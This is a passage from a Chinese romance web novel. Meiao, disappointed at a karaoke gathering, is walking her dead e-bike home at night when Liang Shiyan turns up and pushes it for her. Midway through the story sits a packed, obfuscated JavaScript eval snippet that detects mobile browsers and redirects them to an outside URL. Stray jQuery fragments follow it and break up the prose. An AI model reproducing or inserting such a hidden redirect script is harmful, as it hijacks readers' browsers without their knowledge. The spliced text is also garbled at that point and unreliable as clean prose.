“哎苏医生什么时候谈的女朋友，藏的这么好？”


    “你们看到没有，苏医生女朋友也太漂亮了吧。”


    “郎才女貌啊，很登对。”


    “怪不得苏医生对我们爱答不理的，原来早就有了正主啊！”


    冯佳期看着众人，又看下苏屹，声音柔柔：“是吗？”


    苏屹还是笑。


    美妙是被人拉回到沙发上的，她很久才回过神。


    后来有人起哄苏屹唱歌。


    美妙记得他的歌唱的很好，大学时常常代表系里出节目上台表演，那时候的他跟现在一样深情款款。他身边的冯佳期，一袭白色无袖连衣裙，发丝直直的垂在肩头，高挑含笑的样子也跟原来一模一样，还是那么有气质。


    原来师兄喜欢的类型没变，人也没变。


    周围的喧嚣像潮水般退远，美妙垂了眼，像一只仓鼠，想把自己藏进沙发的最深处。


    小微拉住她胳膊，小声嘀咕：“不是听说分了吗？”


    她哪里知道，大概复合了吧，人不都从国外回来了，只得干笑，“应该又和好了吧。”


    “怪不得今天苏医生敞开了肚子喝，原来是旧情复燃啊。”小微啧了声。


    “嗯。”美妙轻哼。


    情歌继续，身边的小微应景地拍着手。


    两人对唱的歌声像隔了一层毛玻璃。


    美妙说不清心里的感觉，这会只觉得脸上热热的，有点像小丑。


    一小时后，她落在最后，轻轻带上了厚重的包厢门。


    停车场已经空了大半，她找到自己的电动车，掏出钥匙拧到底，屏幕漆黑，纹丝不动，她又试了一次，屏幕依旧不亮。


    真是！


    同事陆续开着车经过，美妙赶忙低头找安全帽，身后传来同事的喊声：“走了啊！拜拜！”


    美妙抬个头：“拜拜！”


    “美妙，要不要送你？”


    她没回头，把安全帽戴好，手顺势只是高高地举起，用力挥了挥，“不用，拜拜！”她最后应了一声杨帆，声音拔得又高又亮。


    城市一下安静下来。


    夜色墨般沉淀下去，只有远处零星的店铺营业。


    靠近路牙子的一侧马路，铺满昏黄的灯光，几辆共享单车歪斜地停在路边，赶着回家的电车嗖一下从旁掠过，骑自行车的也蹬地飞快。


    只有美妙，蜗牛一样低速前进。


    她勉强骑一会儿，再下来推一会儿。


    连人带车，地上一团影子被拉的老长，她累的时候也不想停，只是大口呼吸几下，然后更扎实地踩下脚步，将车推向下一盏路灯投下的光晕里。


    她整个人向前倾，低头看着车轮一圈又一圈碾过地面，仿佛就要这么一直这样走下去，不知道哪里是尽头。


    一个汽车大灯啪地打过来，一辆汽车慢悠悠地靠近，最后缓缓停下。


    车窗大开。


    “喂，”一道平静和缓的声音带着点笑意，清晰地穿过来，“这么用功，腹肌是不是快要练出来了？”


    美妙被这突如其来的声音一惊，猛地转头，手指下意识地抓紧了车把，立刻听出话里的调侃。


    ……真讨厌。


    车里有张熟悉的臭脸，梁时言身体向副驾倾斜，手搭在方向盘上，侧头看向她，一双淡淡的眼睛在昏暗的车内特别明亮，“需要拖车服务吗？给你打折。”


    美妙听不出他话里的真假虚实。


    她此时心里只有一个想法，那就是怎么哪都能碰上你，于是想也没想：“你怎么在——”


    话刚出口，立刻想起先前上洗手间，镜子里那熟悉的一瞥，还没说完，闭了嘴。


    “怎么不骑？”梁时言问。


    她索性顺着他的话，有点阳阳怪气，“我减肥呢。”指甲却泄愤地掐了掐车把。


    “穿裙子锻炼？”这话听起来十分火上浇油。


    美妙嗯一声，不知是故意还是自嘲，“对啊，我就喜欢半夜出来瞎晃，又不犯法。”


    梁时言看了眼红灯，转头再看过来，眼神有点认真。


    “没电了？”


    美妙没接话，下意识别过脸，望了眼红灯后面漆黑茫茫的远处，脑子又开始乱起来，随口说：“你别跟着我，该干嘛干嘛去，回家吧。”


    说完，肩膀前倾，跟着绿灯亮起的一瞬，继续发力往前推。


    五分钟后。


    隔壁车道，梁时言的车依旧慢悠悠地跟着。


    引擎持续低嗡，车的轮胎却滚得极静，不紧不慢地贴着，位置靠后，与她始终保持半个车身的距离。


    美妙在心里叹口气，她今天有够倒霉的，实在没心情逗闷子，她推着车的动作一停，盯着地面的车灯光等他开过来。


    感觉到车靠近，她转头对着车窗，没看他，口气无奈，“我明天还要上班，今天不玩了。”


    说完坐上车，双脚踩地，借着车身惯性和一点虚电，用脚尖一下猛踩地，车勉强向前滑了出去。


    也怪她一整天心里装着事，出门太急，中午又忘记给车充电。


    就这样攥住劲滑着车，其实速度不比步行快多少，但她现在就想赶紧离开，赶紧离开。甚至心思杂乱的盼望明天的太阳早点出来，这样阳光一晒，仿佛糟糕的经历就能快点刷新。虽然这么想着，心里却并不轻松，她瞥见自己的裙子，这一刻，忽然觉得对不起姐姐给买的礼物。早知道，不穿来了。


    街上人烟稀疏。


    就这么忍住没回头。


    不知过了多久，身后低低的发动机声音消失了。


    美妙知道，梁时言走了。


    她转头，望了望宽阔的马路，疾驰的车带着风从远处迎面扑来，又迅速掠过，只有红色的尾灯越来越小，奔向看不清的沉沉黑夜。


    她叹口气。


    推着车的身体几乎失去所有力气，就这么默默站了一会儿，她抬头，漆黑的天空看不到一颗星星。大概她就是一个特别失败的人，从小就是。


    她又垂下头，用气捶了捶车座，就像拍老伙计的肩膀：“辛苦你了老弟，咱一起再加加油，等回头——”


    话还没吹完，人就忽然被一股力道提到一边，原先的位置被占据，小电驴瞬间被人接管，像推婴儿车一般轻松，她没反应过来，连人带车已经走出一大截。


    “喂?！”


    “你干嘛？？”


    美妙疾步跟上去，错愕地看着偷车贼，看他这样，健身房真是没白盖。


    梁时言整个人只是往前，步幅又急又硬，侧脸的线条绷得紧紧的，目光凝在前方某处虚空，生冷得能射伤人。


    美妙不傻，这人冷嗖嗖的，她能感到气场的变化。忽然一下子浑身不自在起来，仔细回想一下，她刚才说话确实有点凶，还有点不礼貌。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753179|187197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟着走了几步。


    “我自己能走，就是没电了而已。”她口气不自觉软了下来，轻轻嘟囔一句，“这天又不晚，我一会就到家。”


    梁时言瞥她一眼，听起来很不屑，“嗯，推车时速高达三公里。”


    “……”


    美妙抿了抿唇，自觉闭了嘴。


    两人一前一后，保持了相当一段时间的沉默。


    美妙低着头亦步亦趋的跟着，梁时言看着路况，偶尔瞥一眼地面被拉长的矮人影子，大概也觉得两人不算熟，又是人烟稀少的深夜，这样的情景怪异。


    就在美妙想着要不要主动打破这诡异的气氛，说点啥。


    梁时言率先开口：“怎么想起穿裙子了？”


    怎么突然聊这个，这美妙完全没想到，不过刚刚吃饭时杨帆也问来着，她看了梁时言一眼，心说总不能也回怼一句，她还是知道好歹的。


    不过她不打算说实情，太丢人了。


    她拍了拍两侧的裙摆，衣料摩擦的声音在安静的街上格外清晰，语气却很随意，“想穿就穿呗。”


    说完嘴角还杨着，眼睛却已经滑向别处。


    “不冷？”他脚下一缓，目不转睛看着前面，待美妙晃着裙子走上来，听她嘴硬地说：“诶，你没听说过美丽冻人吗？”


    “我只听过保命要紧。”


    美妙一下被逗笑，这时候她还能笑出来实属离奇，自己也被吓到，越发想笑，脚步越来越缓。梁时言干脆停下，低头看她，高高笔挺的个子自然地罩住她，“这么好笑吗？“


    她不可思议地抬头，对上梁时言再正经不过的脸，表情镇定地点头，“嗯，就是有点冷。”


    “冷我也没办法，我穿的衬衫。”他冷嗖嗖地说，脸上是笑的。


    美妙呆了呆，但反应很快，“诶我也没要你衣服啊，”她围上来一通解释，“我的意思是，我是说你的，笑话冷。”


    梁时言看她仰着脸凑过来，一边看她，一边淡定地摸出兜里振动的手机，支住车，划开接听。


    “喂？”


    美妙见状猛一停，人在车把处打了个转，瞬间漂移到车前面去了。


    背对人，站着。


    电话那头人声嘈杂，吕城醉意的声音一半调侃一半埋怨，“你掉厕所啦,要不要我去捞你?”


    梁时言此刻正盯着一颗后脑勺，“你们玩儿吧，不用等我。”


    吕城啧一声，急急阻止这边挂电话，很亢奋地说：“你跟你说，那谁来了，大伙正聊你们呢，不来你——”


    下面的话没听完，梁时言就挂了电话，他对这种重温青春再续情谊的同学会毫无兴趣，也不想因为自己混得还行成为全场焦点，被众人围着，调侃着，他宁愿一个人安静待着，哪怕只是对着夜空走走神。


    但这会儿盯着夜空走神，百无聊赖的人不是他，而是美妙，她深谙非礼勿听非礼勿视之道，规规矩矩地欣赏绿化带，人又走出几步。


    梁时言把手机装回口袋，朝她侧了下头，“走吧。”


    美妙哦一声，这才转回来，有点不自在，“打完了？”说完自己也觉得有点尴尬，想了想，立刻接上被打断的话，“我刚才不是那意思，我是说你……”


    “我知道。”梁时言没让她解释。


    “哦。”她点点头，再一次强调态度，“要不——”我自己推吧，话还没说完，却见那厢已经推着车走了。